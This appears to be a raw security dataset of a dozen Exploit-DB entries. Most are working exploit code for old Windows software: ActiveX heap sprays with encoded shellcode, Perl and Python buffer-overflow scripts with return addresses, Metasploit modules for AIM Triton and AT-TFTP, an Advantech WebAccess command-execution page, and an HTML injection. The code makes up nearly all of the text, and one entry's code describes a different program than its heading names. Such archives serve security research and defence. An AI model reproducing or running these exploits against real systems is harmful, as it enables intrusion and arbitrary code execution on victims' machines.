deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25597
Description: Adobe SVG Viewer 3.0 - ActiveX Control SRC Information Disclosure
Type: remote
Platform: windows
Date: 2005-05-04
Author: Robert Fly

Exploit:
source: https://www.securityfocus.com/bid/13490/info

The Adobe SVG Viewer ActiveX control is prone to an information disclosure vulnerability. Reports indicate that the Adobe SVG Viewer ActiveX control may be employed to disclose the existence of a target file.

Information that is harvested by leveraging this vulnerability may be used to aid in further attacks.

This vulnerability affects Adobe SVG Viewer version 3.02 and earlier. 

Sample Javascript:
function load(filename)
{
//foo is reference to SVG ActiveX control, filename is the filename
you're looking for
foo.src = filename;
setTimeout("loading()", 5000);
}

function loading()
{
if (document.readyState != 'complete')
{
alert('File does not exist.');
}
else
{
alert('File exists.');
}
window.location.reload(false);
}
Exploit-DB #14580
Description: Advanced File Vault - 'eSellerateControl350.dll' ActiveX HeapSpray
Type: remote
Platform: windows
Date: 2010-08-08
Author: ThE g0bL!N

Exploit:
//# Exploit Title: Advanced File Vault(eSellerateControl350.dll) Activex Heap Spray  0-day	 
//# Date: 08-08-2010
//# Author: ThE g0bL!N
//# Version: 0-day 
//# Tested on: xp sp2
<html>  
 <script language="JavaScript" defer>  
  var sCode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +  
                       "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +  
                       "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +  
                       "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +  
                       "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +  
                       "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +  
                       "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +  
                       "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +  
                       "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +  
                       "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +  
                       "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +  
                       "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +  
                       "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +  
                       "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +  
                       "%u652E%u6578%u9000");  
  var nops = unescape("%u9090%u9090");  
  var address = 0x0c0c0c0c;  
  function tryMe()  
   {  
    var buff = 3000;  
    var x =  unescape("%0c%0c%0c%0c");  
    while (x.length<buff) x += x;  
    x = x.substring(0,buff);  
    boom.GetWebStoreURL(x, 1);  
  }  
  function getsSlide(nops, nopsSize)  
   {  
    while (nops.length*2<nopsSize)  
     {  
      nops += nops;  
     }  
    nops = nops.substring(0,nopsSize/2);  
    return (nops);  
  }  
  var Block = 0x400000;  
  var header = 0x26;  
  var PLSize = (sCode.length * 2);  
  var nopsSize = Block - (PLSize + header);  
  var heapBlocks = (address+Block)/Block;  
  var memory = new Array();  
  nops = getsSlide(nops,nopsSize);  
  for (i=0;i<heapBlocks;i++)  
   {  
    memory[i] = nops +  sCode;  
   }  
 </script>  
 <body onload="JavaScript: return tryMe();">  
  <object id="boom" classid="clsid:25982EAA-87CC-4747-BE09-9913CF7DD2F1">  
   By ThE g0bL!N	
   Advanced File Vault(eSellerateControl350.dll) Activex Heap Spray  0-day
   Greets: His0k4 - Monster-Dz - B!b!-Info - MadjiX - LoGin.Dz - H4kr3m 
  </object>  
 </body>  
</html>
Exploit-DB #26035
Description: Advanced Guestbook 2.2/2.3 - User-Agent HTML Injection
Type: remote
Platform: windows
Date: 2005-01-22
Author: Carbonize

Exploit:
source: https://www.securityfocus.com/bid/14391/info

Advanced Guestbook is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

Set the following registry setting to exploit this vulnerability:
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Internet Settings/5.0/User Agent/] (Default)= "Code to inject"
Exploit-DB #44031
Description: Advantech WebAccess 8.3.0 - Remote Code Execution
Type: remote
Platform: windows
Date: 2018-02-13
Author: Nassim Asrir

Exploit:
Vulnerability Title: Advantech WebAccess Node8.3.0 "AspVBObj.dll" - Remote Code Execution

Discovered by: Nassim Asrir 

Contact: wassline@gmail.com / https://www.linkedin.com/in/nassim-asrir-b73a57122/

CVE: CVE-2018-6911

Tested on: IE11 / Win10


Technical Details:
==================

The VBWinExec function in Node\AspVBObj.dll in Advantech WebAccess 8.3.0 allows remote attackers to execute arbitrary OS commands via a single argument.

Vulnerable File: C:\WebAccess\Node\AspVBObj.dll

Vulnerable Function: VBWinExec

Vulnerable Class: Include

Class Include
GUID: {55F52D11-CEA5-4D6C-9912-2C8FA03275CE}
Number of Interfaces: 1
Default Interface: _Include
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False

The VBWinExec function take one parameter and the user/attacker will be able to control it to execute OS command.

Function VBWinExec (
 	ByRef command  As String 
)

Exploit:
========

<title>Advantech WebAccess Node8.3.0 "AspVBObj.dll" - Remote Code Execution</title>
<BODY>
 <object id=rce classid="clsid:{55F52D11-CEA5-4D6C-9912-2C8FA03275CE}"></object>
 
<SCRIPT>
 
function exploit()
 {
     
     rce.VBWinExec("calc")
	
   
 }
 
</SCRIPT>
<input language=JavaScript onclick=exploit() type=button value="Exploit-Me"><br>
</body>
</HTML>
Exploit-DB #16353
Description: AIM Triton 1.0.4 - CSeq Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-06-15
Author: Metasploit

Exploit:
##
# $Id: aim_triton_cseq.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Udp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'AIM Triton 1.0.4 CSeq Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in AOL\'s AIM
				Triton 1.0.4. By sending an overly long CSeq value,
				a remote attacker could overflow a buffer and execute
				arbitrary code on the system with the privileges of
				the affected application.
			},
			'Author'         => 'MC',
			'Version'        => '$Revision: 9525 $',
			'References'     =>
				[
					['CVE', '2006-3524'],
					['OSVDB', '27122' ],
					['BID', '18906'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00\x0a\x20\x09\x0d",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'AIM Triton 1.0.4 Universal', { 'Ret' => 0x4017b3d9 } ], # coolcore45.dll
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Jul 10 2006',
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(5061)
			], self.class)
	end

	def exploit
		connect_udp

		user   = rand_text_english(2, payload_badchars)
		port   = rand(65535).to_s
		filler = rand_text_english(792, payload_badchars)
		seh    = generate_seh_payload(target.ret)
		filler[780, seh.length] = seh

		sploit  =   "INVITE sip:#{user}\@127.0.0.1 SIP/2.0" + "\r\n"
		sploit  <<  "To: <sip:#{rhost}:#{rport}>" + "\r\n"
		sploit  <<  "Via: SIP/2.0/UDP #{rhost}:#{port}" + "\r\n"
		sploit  <<  "From: \"#{user}\"<sip:#{rhost}:#{port}>" + "\r\n"
		sploit  <<  "Call-ID: #{(rand(100)+100)}#{rhost}" + "\r\n"
		sploit  <<  "CSeq: " + filler + "\r\n"
		sploit  <<  "Max-Forwards: 20" +  "\r\n"
		sploit  <<  "Contact: <sip:127.0.0.1:#{port}>" + "\r\n\r\n"

		print_status("Trying target #{target.name}...")

		udp_sock.put(sploit)

		handler
		disconnect_udp

	end

end
Exploit-DB #30565
Description: AkkyWareHOUSE '7-zip32.dll' 4.42 - Heap Buffer Overflow
Type: remote
Platform: windows
Date: 2007-09-04
Author: miyy3t

Exploit:
source: https://www.securityfocus.com/bid/25545/info


AkkyWareHOUSE 7-zip32.dll is prone to a heap-based buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input.

Attackers may be able to execute arbitrary machine code in the context of the affected application. Failed exploit attempts will likely result in denial-of-service conditions.

Versions prior to 7-zip32.dll 4.42.00.04 are vulnerable. 

#Virtual DJ 5.0 Local Buffer OverFlow
#224 bytes available for shellcode,, you can replace it with you 
favourite one,, 
#ret addr -> 0x7199403D      jmp esp in mswsock.dll Winxp sp0
#exploit : [A x 484] +[EIP - jmp esp - 4] + [Nops -10] + [Shellcode 
-224] 
#Discovred by 0x58 && Coded By miyy3t,,Midt's lab !!
#Greetz : M.i.d.t,, Diablos5s5s,, Simo64 ,, s4mi,, issam ,, 
Metasploit,,Str0ke & All Mor0Ccan & Muslims h4xorz
# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub 
http://metasploit.com

shellcode = 
"\x33\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x84"
shellcode+= 
"\xd1\xfe\xd8\x83\xeb\xfc\xe2\xf4\x78\x39\xba\xd8\x84\xd1\x75\x9d"
shellcode+= 
"\xb8\x5a\x82\xdd\xfc\xd0\x11\x53\xcb\xc9\x75\x87\xa4\xd0\x15\x91"
shellcode+= 
"\x0f\xe5\x75\xd9\x6a\xe0\x3e\x41\x28\x55\x3e\xac\x83\x10\x34\xd5"
shellcode+= 
"\x85\x13\x15\x2c\xbf\x85\xda\xdc\xf1\x34\x75\x87\xa0\xd0\x15\xbe"
shellcode+= 
"\x0f\xdd\xb5\x53\xdb\xcd\xff\x33\x0f\xcd\x75\xd9\x6f\x58\xa2\xfc"
shellcode+= 
"\x80\x12\xcf\x18\xe0\x5a\xbe\xe8\x01\x11\x86\xd4\x0f\x91\xf2\x53"
shellcode+= 
"\xf4\xcd\x53\x53\xec\xd9\x15\xd1\x0f\x51\x4e\xd8\x84\xd1\x75\xb0"
shellcode+= 
"\xb8\x8e\xcf\x2e\xe4\x87\x77\x20\x07\x11\x85\x88\xec\x21\x74\xdc"
shellcode+= 
"\xdb\xb9\x66\x26\x0e\xdf\xa9\x27\x63\xb2\x9f\xb4\xe7\xff\x9b\xa0"
shellcode+= "\xe1\xd1\xfe\xd8"

bof = "A"*484+"\x3D\x40\x99\x71"+"\x90"*10+shellcode

file = open('c:\/xploit.m3u','w+')
file.write("#EXTM3U\n");
file.write("#EXTINF:0,TITLE\n")
file.write("C:/")
file.write(bof)
file.close()

print "Exploit generated in c:\/xploit.m3u ...now open it with virtual 
dj !! "
Exploit-DB #22301
Description: Aladdin Knowledge System Ltd - 'PrivAgent.ocx' ChooseFilePath Buffer Overflow
Type: remote
Platform: windows
Date: 2012-10-28
Author: b33f

Exploit:
<!---------------------------------------------------------------------------
| Exploit: Aladdin Knowledge System Ltd - PrivAgent.ocx ChooseFilePath BOF  |
| Author: b33f - http://www.fuzzysecurity.com/                              |
| OS: Tested on XP PRO SP3                                                  |
| Browser: IE 4.01, IE 5.01, IE 6.00, IE 7.00                               |
| POC - shinnai: http://www.exploit-db.com/exploits/22258/                  |
---------------------------------------------------------------------------->

<html>
  <head>
  	<object id="pwnd" classid="clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6"></object>
  </head>
  <body>
  <script>

	//Messagebox (js_le)
	var MessageBox = unescape(
	'%ue9be%uac66%udb2b%ud9c2%u2474%u58f4%uc931%u3fb1%uc083%u3104%u1070%u7003%u0b10'+
	'%u7593%u50c0%uf285%u9233%u2907%u2d89%u0459%u5a8a%ua6e8%u2ad8%u4c07%ucea8%u149c'+
	'%u655d%ub8dc%u4fd6%uf619%udaf0%u51aa%uf500%u83b2%u7e62%u6020%u0b47%u54fc%u5f0c'+
	'%udcd7%ub513%u57ac%uc20c%u47e9%u3f2d%ubcee%u3464%u37c5%ua477%ub717%uf849%ueba4'+
	'%u382e%uf320%u77ef%ufac4%u6c28%uc723%u56ca%u4de4%u1dd2%u89ae%uca15%u5929%u4719'+
	'%u073d%u563e%u33aa%ud33a%uac2d%ua7ca%u3009%ue4ac%u40e0%u3e07%ub48d%u7cde%ub8e6'+
	'%u8eaf%u961b%u11c7%ue81c%ua4e7%u13a6%uc8a3%ufef0%ub3a0%udb1d%u5314%udc93%u5c66'+
	'%u6725%uca91%u045a%u4b81%ue7cb%u65f3%u606f%u0a81%u020a%ub0e1%ue8f0%uae78%u13af'+
	'%u2a2f%u2ed9%u8980%u0c71%u516c%u4d06%ufb4b%u0fe1%u046c%ua70e%udaca%u18d1%u7883'+
	'%u6a21%u4d35%u049e%u89e5%u9c24%ub9f5%uc605%u19d9%ua62e%u174e%u77ea%u2fb8%u53be'+
	'%ua63f%uadde%ueaed%u9f73%uf543%u2ea4%u59a4%u04ba%u412c');
	
	//Spray spray spray
	var NopSlide = unescape('%u9090%u9090');
	var headersize = 20;
	var slack = headersize + MessageBox.length;
	while (NopSlide.length < slack) NopSlide += NopSlide;
	var filler = NopSlide.substring(0,slack);
	var chunk = NopSlide.substring(0,NopSlide.length - slack);
	while (chunk.length + slack < 0x40000) chunk = chunk + chunk + filler;
	var memory = new Array();
	for (i = 0; i < 500; i++){ memory[i] = chunk + MessageBox }

	//EIP => 0x06060606
	junk='';
	for( counter=0; counter<=268; counter++) junk+=unescape("%41");
	pwnd.ChooseFilePath(junk + "\x06\x06\x06\x06"); 

  </script>
</body>
</html>
Exploit-DB #28968
Description: Aladdin Knowledge Systems Ltd. PrivAgent - ActiveX Control Overflow
Type: remote
Platform: windows
Date: 2013-10-15
Author: blake

Exploit:
<html>
<title>Aladdin Knowledge Systems Ltd. PrivAgent ActiveX Control Overflow</title>
<!--
Aladdin Knowledge Systems Lt.d PrivAgent ActiveX Control Overflow
Vendor: Aladdin Knowledge Systems
Version: activex2002
Tested on: Windows 2003 SP2 / IE 7
Download: ftp://ftp.aladdin.com//pub/privilege/activex2002.zip
Author: Blake
Original Discovery: shinnai
 
CLSID: 09F68A41-2FBE-11D3-8C9D-0008C7D901B6
Safe for Scripting: True
Safe for Initialization: True
-->
 <object classid='clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6' id='test'></object>
  <script>
  
	// heap spray for IE7
	//calc - 196 bytes
	var shellcode = unescape('%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5%u6c61%u0063');
	var bigblock = unescape('%u9090%u9090');
	var headersize = 20;
	var slackspace = headersize + shellcode.length;
	while (bigblock.length < slackspace) bigblock += bigblock;
	var fillblock = bigblock.substring(0,slackspace);
	var block = bigblock.substring(0,bigblock.length - slackspace);
	while (block.length + slackspace < 0x40000) block = block + block + fillblock;
	var memory = new Array();
	for (i = 0; i < 250; i++){ memory[i] = block + shellcode }
	
	buffer = "";
	while(buffer.length < 1224) buffer+="A";
	next_seh = "BBBB";
	seh = "\x0a\x0a\x0a\x0a";	// heap address
	junk = "";
	while (junk.length < 1700) junk+="D";
	
	var payload = buffer + next_seh + seh + junk;

   test.ChooseFilePath(payload);
  </script>
</html>
Exploit-DB #3279
Description: Alibaba Alipay - Remove ActiveX Remote Code Execution
Type: remote
Platform: windows
Date: 2007-02-06
Author: cocoruder

Exploit:
/************************************************************************************************
Alipay ActiveX Remote Code Execute Exploit,enjoy it:)
by cocoruder(frankruder_at_hotmail.com)
http://ruder.cdut.net
*************************************************************************************************/

<html>
<head>
<OBJECT ID="com" CLASSID="CLSID:{66F50F46-70A0-4A05-BD5E-FBCC0F9641EC}"></OBJECT>
</head>
<body>

<SCRIPT language="javascript">

function ClickForRunCalc()
{
    var heapSprayToAddress = 0x0d0d0d0d;

    var payLoadCode = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090"+"%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");

    var heapBlockSize = 0x400000;

    var payLoadSize = payLoadCode.length * 2;

    var spraySlideSize = heapBlockSize - (payLoadSize+0x38);

    var spraySlide = unescape("%u0d0d%u0d0d");
    spraySlide = getSpraySlide(spraySlide,spraySlideSize);

    heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;

    memory = new Array();

    for (i=0;i<heapBlocks;i++)
    {
        memory[i] = spraySlide + payLoadCode;
    }
    
    com.Remove(0x00d0d0d0);

    function getSpraySlide(spraySlide, spraySlideSize)
    {
        while (spraySlide.length*2<spraySlideSize)
        {
            spraySlide += spraySlide;
        }
        spraySlide = spraySlide.substring(0,spraySlideSize/2);
        return spraySlide;
    }

}
</script>
<button onclick="javascript:ClickForRunCalc();">ClickForRunCalc</button>
</body>
</html>

# milw0rm.com [2007-02-06]
Exploit-DB #2887
Description: Allied Telesyn TFTP (AT-TFTP) Server/Daemon 1.9 - 'Filename' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2006-12-03
Author: Jacopo Cervini

Exploit:
#!/usr/bin/perl -w
#acaro[at]jervus.it
#https://www.securityfocus.com/bid/21320
#
# liuqx@nipc.org.cn is credited with the discovery of this vulnerability



use IO::Socket;

if(!($ARGV[1]))
{
 print "Uso: atftp-19.pl <victim> <port>\n\n";
 exit;
}



$victim = IO::Socket::INET->new(Proto=>'udp',
                                PeerAddr=>$ARGV[0],
                                PeerPort=>$ARGV[1])
                            or die "Cannot connect to $ARGV[0] sulla porta $ARGV[1]";
$pad = "\x90"x63;

# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com

$shellcode = "\x33\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf1".
"\xf1\x59\x06\x83\xeb\xfc\xe2\xf4\x0d\x19\x1d\x06\xf1\xf1\xd2\x43".
"\xcd\x7a\x25\x03\x89\xf0\xb6\x8d\xbe\xe9\xd2\x59\xd1\xf0\xb2\x4f".
"\x7a\xc5\xd2\x07\x1f\xc0\x99\x9f\x5d\x75\x99\x72\xf6\x30\x93\x0b".
"\xf0\x33\xb2\xf2\xca\xa5\x7d\x02\x84\x14\xd2\x59\xd5\xf0\xb2\x60".
"\x7a\xfd\x12\x8d\xae\xed\x58\xed\x7a\xed\xd2\x07\x1a\x78\x05\x22".
"\xf5\x32\x68\xc6\x95\x7a\x19\x36\x74\x31\x21\x0a\x7a\xb1\x55\x8d".
"\x81\xed\xf4\x8d\x99\xf9\xb2\x0f\x7a\x71\xe9\x06\xf1\xf1\xd2\x6e".
"\xcd\xae\x68\xf0\x91\xa7\xd0\xfe\x72\x31\x22\x56\x99\x01\xd3\x02".
"\xae\x99\xc1\xf8\x7b\xff\x0e\xf9\x16\x92\x38\x6a\x92\xdf\x3c\x7e".
"\x94\xf1\x59\x06";

#$eip="\x42\x42\x42\x42";
$eip="\xf4\xf5\xe3\x75";	#call [ESP+28] in IMM32.dll on win2k Server SP4 Italian 



$mode = "netascii";

$exploit = "\x00\x02" . $pad . $shellcode . $eip . "\0"  . $mode . "\0";


print $victim $exploit;

print " + Malicious request sent ...\n";

sleep(2);

print "Done.\n";

close($victim);
exit;

# milw0rm.com [2006-12-03]
Exploit-DB #16350
Description: Allied Telesyn TFTP (AT-TFTP) Server/Daemon 1.9 - Long Filename Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2011-03-05
Author: Metasploit

Exploit:
##
# $Id: attftp_long_filename.rb 11882 2011-03-05 21:00:57Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Allied Telesyn TFTP Server 1.9 Long Filename Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in AT-TFTP v1.9, by sending a
				request (get/write) for an overly long file name.
			},
			'Author'         => [ 'Patrick Webster <patrick[at]aushack.com>' ],
			'Version'        => '$Revision: 11882 $',
			'References'     =>
				[
					['CVE', '2006-6184'],
					['OSVDB', '11350'],
					['BID', '21320'],
					['URL','http://milw0rm.com/exploits/2887'],
					['URL', 'ftp://guest:guest@ftp.alliedtelesyn.co.uk/pub/utilities/at-tftpd.exe'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 210,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
				# Patrick - Tested OK w2k sp0, sp4, xp sp 0, xp sp2 - en 2007/08/24
					[ 'Windows NT SP4 English',   { 'Ret' => 0x702ea6f7 } ],
					[ 'Windows 2000 SP0 English', { 'Ret' => 0x750362c3 } ],
					[ 'Windows 2000 SP1 English', { 'Ret' => 0x75031d85 } ],
					[ 'Windows 2000 SP2 English', { 'Ret' => 0x7503431b } ],
					[ 'Windows 2000 SP3 English', { 'Ret' => 0x74fe1c5a } ],
					[ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ],
					[ 'Windows XP SP0/1 English', { 'Ret' => 0x71ab7bfb } ],
					[ 'Windows XP SP2 English',   { 'Ret' => 0x71ab9372 } ],
					[ 'Windows Server 2003',      { 'Ret' => 0x7c86fed3 } ], # ret donated by securityxxxpert
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Nov 27 2006'))

		register_options(
			[
				Opt::RPORT(69),
				Opt::LHOST() # Required for stack offset
			], self.class)
	end

	def exploit
		connect_udp

		sploit = "\x00\x02" + make_nops(25 - datastore['LHOST'].length)
		sploit << payload.encoded
		sploit << [target['Ret']].pack('V') 	# <-- eip = jmp esp. we control it.
		sploit << "\x83\xc4\x28\xc3" 		# <-- esp = add esp 0x28 + retn
		sploit << "\x00" + "netascii" + "\x00"

		udp_sock.put(sploit)

		disconnect_udp
	end

end